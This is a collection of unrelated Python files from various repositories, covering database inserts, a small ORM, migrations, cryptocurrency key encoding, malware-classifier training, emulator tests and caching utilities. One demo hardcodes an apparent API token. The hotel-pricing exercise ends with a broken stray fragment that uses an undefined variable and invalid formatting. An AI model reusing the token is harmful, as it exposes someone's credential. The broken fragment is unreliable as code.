create_titanic_table = """
DROP TABLE IF EXISTS Titanic;
CREATE TABLE Titanic (
index INT,
Survived INT,
Pclass INT,
Name TEXT,
Sex TEXT,
Age REAL,
siblingsspouse INT,
parentschildren INT,
Fare REAL
);
"""
# running table and committing table
pg_curs.execute(create_titanic_table)
pg_conn.commit()
# using the execute_values function - Would like to go over this again to enhance my understanding
execute_values(pg_curs, """
INSERT INTO Titanic
(Survived, Pclass, Name, Sex, Age, siblingsspouse, parentschildren, Fare)
VALUES %s;
""", [tuple(row) for row in df.values])
# commit
pg_conn.commit()
pg_curs.execute("""
SELECT *
FROM Titanic
LIMIT 1;
""")
# printing to validate
print(pg_curs.fetchall())
| 1,554 |
demo/tushare_native/broad_market_demo.py
|
WZYStudio/QuantJob
| 0 |
2024099
|
import tushare as ts
# 这个数据里有vol, ma5,ma10什么的，还是好用的
if __name__ == '__main__':
ts.set_token('c88ef7fb2542e2f89e9c79c2d22ce2421511da6af7f905f60c7a29b4')
days_deal = ts.get_hist_data('600584', start='2020-05-18', end='2020-05-21')
print(days_deal)
| 261 |
orm/manager.py
|
draihal/simple_orm_sqlite
| 0 |
2023771
|
from .db_helpers import attrs, copy_attrs, render_create_table_stmt
class Manager:
def __init__(self, db, model, type_check=True):
self.db = db
self.model = model
self.table_name = model.__name__
self.type_check = type_check
if not self._hastable():
self.db.executescript(render_create_table_stmt(self.model))
def all(self):
result = self.db.execute(f'SELECT * FROM {self.table_name}')
return (self.create(**row) for row in result.fetchall())
def create(self, **kwargs):
obj = object.__new__(self.model)
obj.__dict__ = kwargs
return obj
def delete(self, obj):
sql = 'DELETE from %s WHERE id = ?'
self.db.execute(sql % self.table_name, obj.id)
def get(self, id):
sql = f'SELECT * FROM {self.table_name} WHERE id = ?'
result = self.db.execute(sql, id)
row = result.fetchone()
if not row:
msg = 'Object%s with id does not exist: %s' % (self.model, id)
raise ValueError(msg)
return self.create(**row)
def has(self, id):
sql = f'SELECT id FROM {self.table_name} WHERE id = ?'
result = self.db.execute(sql, id)
return True if result.fetchall() else False
def save(self, obj):
if 'id' in obj.__dict__ and self.has(obj.id):
msg = 'Object%s id already registred: %s' % (self.model, obj.id)
raise ValueError(msg)
clone = copy_attrs(obj, remove=['id'])
self.type_check and self._isvalid(clone)
column_names = '%s' % ', '.join(clone.keys())
column_references = '%s' % ', '.join('?' for i in range(len(clone)))
sql = 'INSERT INTO %s (%s) VALUES (%s)'
sql = sql % (self.table_name, column_names, column_references)
result = self.db.execute(sql, *clone.values())
obj.id = result.lastrowid
return obj
def update(self, obj):
clone = copy_attrs(obj, remove=['id'])
self.type_check and self._isvalid(clone)
where_expressions = '= ?, '.join(clone.keys()) + '= ?'
sql = 'UPDATE %s SET %s WHERE id = ?' % (self.table_name, where_expressions)
self.db.execute(sql, *(list(clone.values()) + [obj.id]))
def _hastable(self):
sql = 'SELECT name len FROM sqlite_master WHERE type = ? AND name = ?'
result = self.db.execute(sql, 'table', self.table_name)
return True if result.fetchall() else False
def _isvalid(self, attr_values):
attr_types = attrs(self.model)
value_types = {a: v.__class__ for a, v in attr_values.items()}
for attr, value_type in value_types.items():
if value_type is not attr_types[attr]:
msg = "%s value should be type %s not %s"
raise TypeError(msg % (attr, attr_types[attr], value_type))
| 2,867 |
SoftUni-Basic/conditional_statements_advanced/exercises/hotel_room.py
|
Darkartt/SoftUni
| 0 |
2024389
|
month = input()
days_sleeping = int(input())
price_studio = 0
price_apartment = 0
if month == "May" or month == "October":
price_studio = days_sleeping * 50
price_apartment = days_sleeping * 65
if days_sleeping > 14:
price_studio *= 0.70
elif days_sleeping > 7:
price_studio *= 0.95
if month == "June" or month == "September":
price_studio = days_sleeping * 75.20
price_apartment = days_sleeping * 68.70
if days_sleeping > 14:
price_studio *= 0.80
if month == "July" or month == "August":
price_studio = days_sleeping * 76
price_apartment = days_sleeping * 77
if days_sleeping > 14:
price_apartment *= 0.90
print(f"Apartment: {price_apartment:.2f} lv.")
print(f"Studio: {price_studio:.2f} lv.")
if diff < 59:
print("Early")
print(f"{diff} before the start")
elif diff > 59:
hours = diff // 60
minutes = diff = 60
print("Early")
print(f"{hours}:{minutes:.2d} hours before the start")
| 978 |
migrations/versions/0d2523c0cb8a_.py
|
monstersun/blog
| 0 |
2023130
|
"""empty message
Revision ID: 0d2523c0cb8a
Revises: <PASSWORD>
Create Date: 2017-12-13 19:29:39.010490
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = '<PASSWORD>'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('Post',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('body', sa.TEXT(), nullable=True),
sa.Column('timestamp', sa.DateTime(), nullable=True),
sa.Column('auther_id', sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(['auther_id'], ['users.id'], ),
sa.PrimaryKeyConstraint('id')
)
op.create_index(op.f('ix_Post_timestamp'), 'Post', ['timestamp'], unique=False)
op.add_column('users', sa.Column('avatar_hash', sa.String(length=64), nullable=True))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column('users', 'avatar_hash')
op.drop_index(op.f('ix_Post_timestamp'), table_name='Post')
op.drop_table('Post')
# ### end Alembic commands ###
| 1,174 |
mkrandomkeys.py
|
jadeblaquiere/keymaster
| 0 |
2024286
|
#!/usr/bin/python
# Copyright (c) 2016, <NAME> <<EMAIL>>
# All rights reserved
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of ecpy nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
from ecpy.point import Point, Generator
import ecpy.curves as curves
from Crypto.Random import random
from Crypto.Hash import RIPEMD
from hashlib import sha256
import hashlib
from binascii import hexlify, unhexlify
from base58 import b58encode, b58decode
# set up elliptic curve environment
c = curves.curve_secp256k1
Point.set_curve(c)
G = Generator(c['G'][0], c['G'][1])
#mainnet
pub_prefix = '00'
prv_prefix = '80'
#testnet
pub_prefix = '6f'
prv_prefix = 'ef'
#simtest
pub_prefix = '3f'
prv_prefix = '64'
#ctindigonet
pub_prefix = '1c'
prv_prefix = 'bb'
#ctrednet
pub_prefix = '50'
prv_prefix = 'a3'
pub_prefix = '1c'
prv_prefix = 'bb'
def priv_key_fmt(prefix, keyhx):
# generate WIF format
# see: https://en.bitcoin.it/wiki/Wallet_import_format
# add header prefix
h_key = prefix + keyhx
# calc checksum
cksum = sha256(sha256(unhexlify(h_key)).digest()).hexdigest()[:8]
# encode base58
return b58encode(unhexlify(h_key + cksum))
def priv_key_fmt_C(prefix, keyhx):
# generate WIF format
# see: https://en.bitcoin.it/wiki/Wallet_import_format
# add header prefix
h_key = prefix + keyhx + '01'
# calc checksum
cksum = sha256(sha256(unhexlify(h_key)).digest()).hexdigest()[:8]
# encode base58
return b58encode(unhexlify(h_key + cksum))
def priv_key_decode(keyb58):
raw = hexlify(b58decode(keyb58))
h_key = raw[:66]
cksum = sha256(sha256(unhexlify(h_key)).digest()).hexdigest()[:8]
if cksum != raw[66:].decode('utf-8'):
raise ValueError('checksum mismatch')
return h_key[2:].decode('utf-8')
def priv_key_decode_C(keyb58):
raw = hexlify(b58decode(keyb58))
h_key = raw[:68]
cksum = sha256(sha256(unhexlify(h_key)).digest()).hexdigest()[:8]
if raw[66:68].decode('utf-8') != '01':
raise ValueError('format error')
if cksum != raw[68:].decode('utf-8'):
raise ValueError('checksum mismatch')
return h_key[2:66].decode('utf-8')
def pub_key_fmt(prefix, keyhx):
# generate V1 Address format
# see: https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses
# hash key - sha256 then ripemd160
h = RIPEMD.new(sha256(unhexlify(keyhx)).digest())
# add header prefix
h_hashkey = prefix + hexlify(h.digest()).decode('utf-8')
# calc checksum
cksum = sha256(sha256(unhexlify(h_hashkey)).digest()).hexdigest()[:8]
# encode base58
return b58encode(unhexlify(h_hashkey + cksum))
def pub_key_fmt_C(prefix, keyhx):
# generate V1 Address format
# see: https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses
# hash key - sha256 then ripemd160
keyval = keyhx
keybin = int(keyhx,16)
if keyhx[:2] == '04':
keyval = ('03' if (keybin % 2) else '02') + keyhx[2:66]
elif (keyhx[:2] != '02') and (keyhx[:2] != '03'):
raise ValueError('input is not ECC point format')
print('keyval = ' + keyval)
h = RIPEMD.new(sha256(unhexlify(keyval)).digest())
# add header prefix
h_hashkey = prefix + hexlify(h.digest()).decode('utf-8')
# calc checksum
cksum = sha256(sha256(unhexlify(h_hashkey)).digest()).hexdigest()[:8]
# encode base58
return b58encode(unhexlify(h_hashkey + cksum))
if __name__ == '__main__':
# private key is a random number between 1 and n
# (where n is "order" of curve generator point G)
p = random.randint(1,c['n']-1)
# p = 0x0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D
# p = 0x1111111111111111111111111111111111111111111111111111111111111111;
phx = '%064x' % p
print("PRIVATE KEY MATH : ")
print('rand privkey = ' + phx)
wif_priv = priv_key_fmt(prv_prefix, phx)
print("WIF privkey = " + wif_priv)
if p == 0x0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D:
assert wif_priv == '<KEY>'
if p == 0x1111111111111111111111111111111111111111111111111111111111111111:
assert wif_priv == '<KEY>'
#check that we can recover p from WIF
rhx = priv_key_decode(wif_priv)
# print('rxh, phx =', rhx, phx)
assert rhx == phx
wif_priv_C = priv_key_fmt_C(prv_prefix, phx)
print("WIF privkey Compressed = " + wif_priv_C)
if p == 0x1111111111111111111111111111111111111111111111111111111111111111:
assert wif_priv_C == '<KEY>'
#check that we can recover p from WIF
rhx = priv_key_decode_C(wif_priv_C)
# print('rxh, phx =', rhx, phx)
assert rhx == phx
print("PUBLIC KEY MATH : ")
# p = 0x18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725
P = G * p
Pa = P.affine()
pbhx = '04' + ('%064x' % Pa[0]) + ('%064x' % Pa[1])
print("point long fmt = " + pbhx)
wif_pub = pub_key_fmt(pub_prefix, pbhx)
print("WIF pubkey = " + wif_pub)
if p == 0x18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725:
assert wif_pub == '<KEY>'
if p == 0x1111111111111111111111111111111111111111111111111111111111111111:
assert wif_pub == '<KEY>'
wif_pub_C = pub_key_fmt_C(pub_prefix, pbhx)
print("WIF pubkey Compressed = " + wif_pub_C)
if p == 0x1111111111111111111111111111111111111111111111111111111111111111:
assert wif_pub_C == '<KEY>'
if False:
for i in range(0,255):
ihx = '%02x' % i
print(ihx + ' :priv: ' + priv_key_fmt(ihx, phx) + ' ' + priv_key_fmt_C(ihx, phx))
for i in range(0,255):
ihx = '%02x' % i
print(ihx + ' :pub: ' + pub_key_fmt(ihx, pbhx))
if False:
refprv = '<KEY>'
refder = '<KEY>'
refderp = '<KEY>'
refhx = hexlify(b58decode(refprv)).decode('utf8')
rdehx = hexlify(b58decode(refder)).decode('utf8')
rdphx = hexlify(b58decode(refderp)).decode('utf8')
print('rhx ' + refhx)
print('rdvx ' + rdehx)
print('rdpx ' + rdphx)
refprv = '<KEY>'
refder = '<KEY>'
refderp = '<KEY>'
refhx = hexlify(b58decode(refprv)).decode('utf8')
rdehx = hexlify(b58decode(refder)).decode('utf8')
rdphx = hexlify(b58decode(refderp)).decode('utf8')
print('crhx ' + refhx)
print('crdvx ' + rdehx)
print('crdpx ' + rdphx)
refprv = '<KEY>'
refder = '<KEY>'
refderp = '<KEY>'
refhx = hexlify(b58decode(refprv)).decode('utf8')
rdehx = hexlify(b58decode(refder)).decode('utf8')
rdphx = hexlify(b58decode(refderp)).decode('utf8')
print('zrhx ' + refhx)
print('zrdvx ' + rdehx)
print('zrdpx ' + rdphx)
| 8,238 |
examples/drf_pdf_examples/drf_pdf_examples/urls.py
|
fasih/drf-pdf
| 27 |
2023714
|
from django.conf.urls import patterns, url
from simple.views import SimpleExample
urlpatterns = patterns(
'',
url(r'^simple/$', SimpleExample.as_view()),
)
| 166 |
malconv-microsoft.py
|
PowerLZY/MalConv-Pytorch
| 9 |
2022828
|
import sys
import os
import time
from src.model import *
from src.util import *
import numpy as np
import pandas as pd
from torch.utils.data import DataLoader
from sklearn.model_selection import train_test_split
import torch.nn as nn
import torch.optim as optim
from torch.autograd import Variable
label_path = "/public/malware_dataset/kaggle_microsoft_9_10000/"
train_data_path = label_path + "bytes/" # Training data
train_label_path = label_path + "kaggle_microsoft_trainlabels.csv" # Training label
#valid_label_path = label_path + "example-valid-label.csv" # Validation Label
#name
exp_name = "malconv-classification"
# Parameter
# os.environ["CUDA_VISIBLE_DEVICES"] = "2" # single-GPU
use_gpu = True #
use_cpu = 32 # Number of cores to use for data loader
display_step = 5 # Std output update rate during training 和 保存训练结果步长
test_step = 50 # Test per n step
learning_rate = 0.0001 #
max_step = 1000 # Number of steps to train
batch_size = 768 #
first_n_byte = (
100000 # First N bytes of a PE file as the input of MalConv (defualt: 2 million)
)
window_size = 512 # Kernel size & stride for Malconv (defualt : 500)
# output path
log_dir = "/log/"
pred_dir = "/pred/"
checkpoint_dir = "/checkpoint/"
log_file_path = log_dir + exp_name + ".log"
chkpt_acc_path = checkpoint_dir + exp_name + "1000.pt"
pred_path = pred_dir + exp_name + ".pred"
df = pd.read_csv(train_label_path)
train, valid, train_label, valid_label = train_test_split(
df["Id"],
df["Class"],
test_size=0.2,
stratify=df["Class"],
random_state=100,
)
"""
# Dataset preparation
class ExeDataset(Dataset):
def __init__(self, fp_list, data_path, label_list, first_n_byte=2000000):
self.fp_list = fp_list
self.data_path = data_path
self.label_list = label_list
self.first_n_byte = first_n_byte
def __len__(self):
return len(self.fp_list)
def __getitem__(self, idx):
try:
with open(self.data_path + self.fp_list[idx],'rb') as f:
tmp = [i+1 for i in f.read()[:self.first_n_byte]] # index 0 will be special padding index 每个值加一
tmp = tmp+[0]*(self.first_n_byte-len(tmp))
except:
with open(self.data_path + self.fp_list[idx].lower(),'rb') as f:
tmp = [i+1 for i in f.read()[:self.first_n_byte]]
tmp = tmp+[0]*(self.first_n_byte-len(tmp))
return np.array(tmp), np.array([self.label_list[idx]])
"""
trainset = pd.DataFrame({"id": train, "labels": train_label})
validset = pd.DataFrame({"id": valid, "labels": valid_label})
trainloader = DataLoader(
ExeDataset(
list(trainset["id"]), train_data_path, list(trainset["labels"]), first_n_byte
),
batch_size=batch_size,
shuffle=False,
num_workers=use_cpu,
pin_memory=True,
)
validloader = DataLoader(
ExeDataset(
list(validset["id"]), train_data_path, list(validset["labels"]), first_n_byte
),
batch_size=batch_size,
shuffle=False,
num_workers=use_cpu,
pin_memory=True,
)
USE_CUDA = torch.cuda.is_available()
device = torch.device("cuda:1" if USE_CUDA else "cpu")
malconv = MalConv(input_length=first_n_byte, window_size=window_size)
malconv = nn.DataParallel(malconv, device_ids=[1,2,3]) # multi-GPU
#malconv = MalConvBase(8, 4096, 128, 32)
bce_loss = nn.BCEWithLogitsLoss()
ce_loss = nn.CrossEntropyLoss()
adam_optim = optim.Adam([{"params": malconv.parameters()}], lr=learning_rate)
sigmoid = nn.Sigmoid()
if use_gpu:
malconv = malconv.to(device)
bce_loss = bce_loss.to(device)
sigmoid = sigmoid.to(device)
step_msg = "step-{}-loss-{:.6f}-acc-{:.4f}-time-{:.2f}s"
valid_msg = "step-{}-tr_loss-{:.6f}-tr_acc-{:.4f}-val_loss-{:.6f}-val_acc-{:.4f}"
log_msg = "{}, {:.6f}, {:.4f}, {:.6f}, {:.4f}, {:.2f}"
history = {}
history["tr_loss"] = []
history["tr_acc"] = []
train_acc = [] # 保存训练结果
valid_best_acc = 0.0
total_step = 0
step_cost_time = 0
valid_idx = list(validset["id"])
while total_step < max_step:
# Training
for step, batch_data in enumerate(trainloader):
start = time.time()
adam_optim.zero_grad()
cur_batch_size = batch_data[0].size(0)
exe_input = batch_data[0].to(device) if use_gpu else batch_data[0]
exe_input = Variable(exe_input.long(), requires_grad=False)
label = batch_data[1].to(device) if use_gpu else batch_data[1]
label = Variable(label, requires_grad=False)
label = label.squeeze() - 1
pred = malconv(exe_input)
loss = ce_loss(pred, label)
loss.backward()
adam_optim.step()
_, predicted = torch.max(pred.data, 1)
train_Macc = (label.cpu().data.numpy().astype(int) == (predicted.cpu().data.numpy()).astype(int)).sum().item()
train_Macc = train_Macc / cur_batch_size
if (step + 1) % display_step == 0:
print("train：{}".format(train_Macc))
total_step += 1
# Interupt for validation
if total_step % test_step == 0:
break
for step, val_batch_data in enumerate(validloader):
cur_batch_size = val_batch_data[0].size(0)
exe_input = val_batch_data[0].to(device) if use_gpu else val_batch_data[0]
exe_input = Variable(exe_input.long(), requires_grad=False)
label = val_batch_data[1].to(device) if use_gpu else val_batch_data[1]
label = Variable(label, requires_grad=False)
label = label.squeeze() - 1
pred = malconv(exe_input)
loss = ce_loss(pred, label)
# loss.backward()
# adam_optim.step()
_, predicted = torch.max(pred.data, 1)
val_Macc = (label.cpu().data.numpy().astype(int) == (predicted.cpu().data.numpy()).astype(int)).sum().item()
val_Macc = val_Macc / cur_batch_size
if (step + 1) % display_step == 0:
print("test：{}".format(val_Macc))
| 5,763 |
chandralc/config.py
|
sammarth-k/Chandra-Lightcurve-Download
| 27 |
2023922
|
"""Create configuration files."""
# PSL modules
import os
import inspect
# chandralc modules
from chandralc import convert
clc_path = os.path.dirname(inspect.getfile(convert))
def mpl_backend(switch=False):
"""Switches between agg and default matplotlib backend.
Parameters
----------
switch: bool
Turn agg on or off, by default False
"""
with open(clc_path + "/config/mpl_backend.chandralc", "w") as f:
if switch is False:
f.write("False")
else:
f.write("True")
| 542 |
util/unicorn_test.py
|
Pusty/Obfuscat
| 7 |
2024327
|
import sys
from unicorn import *
from unicorn.arm_const import *
ref = open(sys.argv[1], "rb")
ref_data = ref.read()
ref.close()
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
mu.mem_map(0x1000000, 2 * 1024 * 1024)
mu.mem_map(0x2000000, 2 * 1024 * 1024)
mu.mem_map(0x4000000, 2 * 1024 * 1024)
mu.mem_write(0x1000000, ref_data)
mu.mem_write(0x2000000, b'SECRET')
mu.reg_write(UC_ARM_REG_R0, 0x2000000)
mu.reg_write(UC_ARM_REG_R1, 6)
mu.reg_write(UC_ARM_REG_R2, 0)
mu.reg_write(UC_ARM_REG_R3, 0)
mu.reg_write(UC_ARM_REG_SP, 0x4010000)
mu.reg_write(UC_ARM_REG_LR, 0xDEADC0DE)
try:
mu.emu_start(0x1000001, 0x1000000 + len(ref_data))
except Exception as e:
if mu.reg_read(UC_ARM_REG_PC) != 0xDEADC0DE:
raise e
print(mu.reg_read(UC_ARM_REG_R0))
| 751 |
rmp_nav/common/image_combiner.py
|
KH-Kyle/rmp_nav
| 30 |
2022863
|
import numpy as np
import cv2
def _pad_width_center(w, target_w):
left = (target_w - w) // 2
right = target_w - w - left
return left, right
def _pad_width_right(w, target_w):
return 0, target_w - w
def _pad_height_center(h, target_h):
top = (target_h - h) // 2
bottom = target_h - h - top
return top, bottom
def _pad_height_bottom(h, target_h):
return 0, target_h - h
def VStack(*imgs, align='center'):
max_w = max([_.shape[1] for _ in imgs])
imgs_padded = []
if align == 'center':
for img in imgs:
left, right = _pad_width_center(img.shape[1], max_w)
imgs_padded.append(cv2.copyMakeBorder(img, 0, 0, left, right, cv2.BORDER_CONSTANT))
elif align == 'left':
for img in imgs:
left, right = _pad_width_right(img.shape[1], max_w)
imgs_padded.append(cv2.copyMakeBorder(img, 0, 0, left, right, cv2.BORDER_CONSTANT))
else:
raise ValueError('Unsupported alignment %s' % align)
return np.concatenate(imgs_padded, axis=0)
def HStack(*imgs, align='center'):
max_h = max([_.shape[0] for _ in imgs])
imgs_padded = []
if align == 'center':
for img in imgs:
top, bottom = _pad_height_center(img.shape[0], max_h)
imgs_padded.append(cv2.copyMakeBorder(img, top, bottom, 0, 0, cv2.BORDER_CONSTANT))
elif align == 'top':
for img in imgs:
top, bottom = _pad_height_bottom(img.shape[0], max_h)
imgs_padded.append(cv2.copyMakeBorder(img, top, bottom, 0, 0, cv2.BORDER_CONSTANT))
else:
raise ValueError('Unsupported alignment %s' % align)
return np.concatenate(imgs_padded, axis=1)
def Grid(*imgs, n_col=1, align='center'):
chunks = [imgs[i:i + n_col] for i in range(0, len(imgs), n_col)]
row_imgs = [HStack(*_, align=align) for _ in chunks]
return VStack(*row_imgs, align=align)
| 1,917 |
render/scene/SceneGnomon.py
|
bvraghav/standible
| 1 |
2024374
|
import logging as lg
from utils import Get, Set
from . SceneDefault import SceneDefault
from . Taxonomy import Taxonomy
from . CameraGnomon import CameraGnomon
from . Light import Light
from . Gnomon import Gnomon
from . Render import Render
class SceneGnomon(SceneDefault) :
def setup(self) :
lg.debug(
'Setting up scene from data: %s',
Get.config('runtime/scene')
)
self.clear_scene()
Taxonomy().setup()
CameraGnomon.setup()
Light.setup()
Gnomon.setup()
Render.setup()
| 523 |
src/sagemaker_algorithm_toolkit/metrics.py
|
Chick-star/sagemaker-xgboost-container
| 1 |
2024423
|
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the 'License'). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the 'license' file accompanying this file. This file is
# distributed on an 'AS IS' BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
from sagemaker_algorithm_toolkit import exceptions as exc
import logging
class Metric(object):
MAXIMIZE = "Maximize"
MINIMIZE = "Minimize"
def __init__(self, name, regex, format_string=None, tunable=True, direction=None):
self.name = name
self.format_string = format_string
self.direction = direction
self.regex = regex
self.tunable = tunable
if self.tunable and direction is None:
raise exc.AlgorithmError("direction must be specified if tunable is True.")
def log(self, value):
logging.info(self.format_string.format(value))
def format_tunable(self):
return {"MetricName": self.name,
"Type": self.direction}
def format_definition(self):
return {"Name": self.name,
"Regex": self.regex}
class Metrics(object):
def __init__(self, *metrics):
self.metrics = {metric.name: metric for metric in metrics}
def __getitem__(self, name):
return self.metrics[name]
@property
def names(self):
return list(self.metrics)
def format_tunable(self):
metrics = []
for name, metric in self.metrics.items():
if metric.tunable:
metrics.append(metric.format_tunable())
return metrics
def format_definitions(self):
return [metric.format_definition() for name, metric in self.metrics.items()]
| 1,995 |
markdown_it/rules_inline/text.py
|
iooxa/markdown-it-py
| 0 |
2024502
|
# Skip text characters for text token, place those to pending buffer
# and increment current pos
from .state_inline import StateInline
from ..common.utils import charCodeAt
# Rule to skip pure text
# '{}$%@~+=:' reserved for extentions
# !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /, :, ;, <, =, >, ?, @, [, \, ], ^, _, `, {, |, }, or ~
# !!!! Don't confuse with "Markdown ASCII Punctuation" chars
# http://spec.commonmark.org/0.15/#ascii-punctuation-character
def isTerminatorChar(ch):
return ch in {
0x0A, # /* \n */:
0x21, # /* ! */:
0x23, # /* # */:
0x24, # /* $ */:
0x25, # /* % */:
0x26, # /* & */:
0x2A, # /* * */:
0x2B, # /* + */:
0x2D, # /* - */:
0x3A, # /* : */:
0x3C, # /* < */:
0x3D, # /* = */:
0x3E, # /* > */:
0x40, # /* @ */:
0x5B, # /* [ */:
0x5C, # /* \ */:
0x5D, # /* ] */:
0x5E, # /* ^ */:
0x5F, # /* _ */:
0x60, # /* ` */:
0x7B, # /* { */:
0x7D, # /* } */:
0x7E, # /* ~ */:
}
def text(state: StateInline, silent: bool, **args):
pos = state.pos
while (pos < state.posMax) and not isTerminatorChar(charCodeAt(state.src, pos)):
pos += 1
if pos == state.pos:
return False
if not silent:
state.pending += state.src[state.pos : pos]
state.pos = pos
return True
| 1,449 |
pysimplecache/providers/memcached.py
|
stajkowski/py-simple-cache
| 0 |
2024242
|
import bmemcached
import os
from pysimplecache.providers.base_provider import BaseProvider, \
UnhandledCachingException
class MemcachedProvider(BaseProvider):
""" Memcached Provider """
def __init__(self, conversion, username=None, password=None,
servers=None, enabled=True):
""" Memcached Provider
:param conversion: class for data conversion
:param username: str memcached username
:param password: str memcached password
:param servers: str memcached servers (comma separated)
:param enabled: bool if caching is enabled
"""
self.conversion = conversion
self.cache_enabled = bool(os.getenv('MEMCACHEDCLOUD_ENABLED', enabled))
self.cache_server = os.getenv('MEMCACHEDCLOUD_SERVERS', servers)
self.cache_user = os.getenv('MEMCACHEDCLOUD_USERNAME', username)
self.cache_pass = os.getenv('MEMCACHEDCLOUD_PASSWORD', password)
self._client = self._setup_client()
def _setup_client(self):
""" Setup memcached client
:return: obj memcached client
"""
if self.cache_enabled:
try:
if self.cache_user and self.cache_pass:
return bmemcached.Client(
self.cache_server.split(','),
self.cache_user,
self.cache_pass)
else:
return bmemcached.Client(
self.cache_server.split(','))
except Exception as e:
raise UnhandledCachingException(
'UnhandledCachingException: {}'.format(str(e.message)))
return None
def get(self, key, ttl, method, **kwargs):
""" Get cached data or call passed method
:param key: str key value for cached data
:param ttl: int ttl value for cached data
:param method: obj method call for cache miss
:param kwargs: parameters to pass into method
:return: data, bool cache miss
:raises: UnhandledCachingException
"""
if self._client:
try:
data = self._client.get(key)
# if cache hit then return data decoded and if no
# data present in cache, call method with passed
# arguments and store in cache
if data:
return self.conversion.decode(data), False
else:
# if method is passed, load data and pass into
# memcached with key
if method is not None:
data = method(**kwargs)
self.put(key, ttl, data)
return data, True
else:
return None, True
except Exception as e:
raise UnhandledCachingException(
'UnhandledCachingException: {}'.format(str(e.message)))
finally:
self._client.disconnect_all()
def put(self, key, ttl, data):
""" Put data into cache with passed ttl from referenced method
:param key: str key value for cached data
:param ttl: int ttl value for cached data
:param data: data to pass into cache
:return: None
:raises: UnhandledCachingException
"""
if self._client:
try:
self._client.set(key, self.conversion.encode(data), ttl)
except Exception as e:
raise UnhandledCachingException(
'UnhandledCachingException: {}'.format(str(e.message)))
finally:
self._client.disconnect_all()
def delete(self, key):
""" Delete cached data with passed key
:param key: str key value for cached data
:return: None
:raises: UnhandledCachingException
"""
if self._client:
try:
self._client.delete(key)
except Exception as e:
raise UnhandledCachingException(
'UnhandledCachingException: {}'.format(str(e.message)))
finally:
self._client.disconnect_all()
| 4,247 |
subseeker_core/options.py
|
DFC302/subseeker
| 19 |
2022820
|
# This file contains information regarding command line arguments, title
# information and version information.
import argparse
import sys
from termcolor import colored
# User options
def options():
parser = argparse.ArgumentParser()
# specify domain
parser.add_argument(
"--domain",
help="Specify domain to search.",
action="store",
)
# single search mode
parser.add_argument(
"--singlesearch",
help="Search using a specific certificate site. Use --singlesearch options to list available search options.",
action="store",
type=str,
)
# User can specify keywords instead of a file full of sub keywords
parser.add_argument(
"--keywords",
nargs="+",
help="Add a list of keywords.",
type=str,
)
# Parse subdomain keywords from other tools output files
parser.add_argument(
"--generate",
help="Create a list of sub domain keywords from a file containing \
subdomains.",
action="store_true",
)
# search domain using subdomain keywords from file
parser.add_argument(
"--file",
help="Specify a file containing keywords to parse crt.sh OR to create \
sub keywords from.",
action="store",
)
# Write to output file
parser.add_argument(
"--out",
help="Specify a file to write results too.",
action="store",
)
# User specify number of threads
parser.add_argument(
"--threads",
help="Specify number of threads to be used when performing keyword \
search.",
action="store",
type=int,
)
# Try with different headers, firefox, chrome, opera
parser.add_argument(
"--useragent",
help="Specify a user-agent to use. Default is a firefox UA.",
action="store",
type=str
)
# If API information has been configured, allow use of API credentials
parser.add_argument(
"--api",
help="Turn on api.",
action="store_true",
)
# Specify page number for certdb and/or censys
parser.add_argument(
"--page",
help="Used with certdb and/or censys searchmodes. Specify page number to display.",
action="store",
type=int,
)
parser.add_argument(
"--version",
help="Display version information",
action="store_true",
)
parser.add_argument(
"--verbose",
help="Display extra verbose information, such as errors.",
action="store_true",
)
# if not arguments are given, print usage message
if len(sys.argv[1:]) == 0:
parser.print_help()
parser.exit()
args = parser.parse_args()
return args
| 2,391 |
sdk/identity/azure-identity/tests/test_imds.py
|
kushan2018/azure-sdk-for-python
| 0 |
2024566
|
# ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
from azure.identity._internal import ImdsCredential
def test_imds_credential():
credential = ImdsCredential()
token = credential.get_token("https://management.azure.com/.default")
assert token
| 358 |
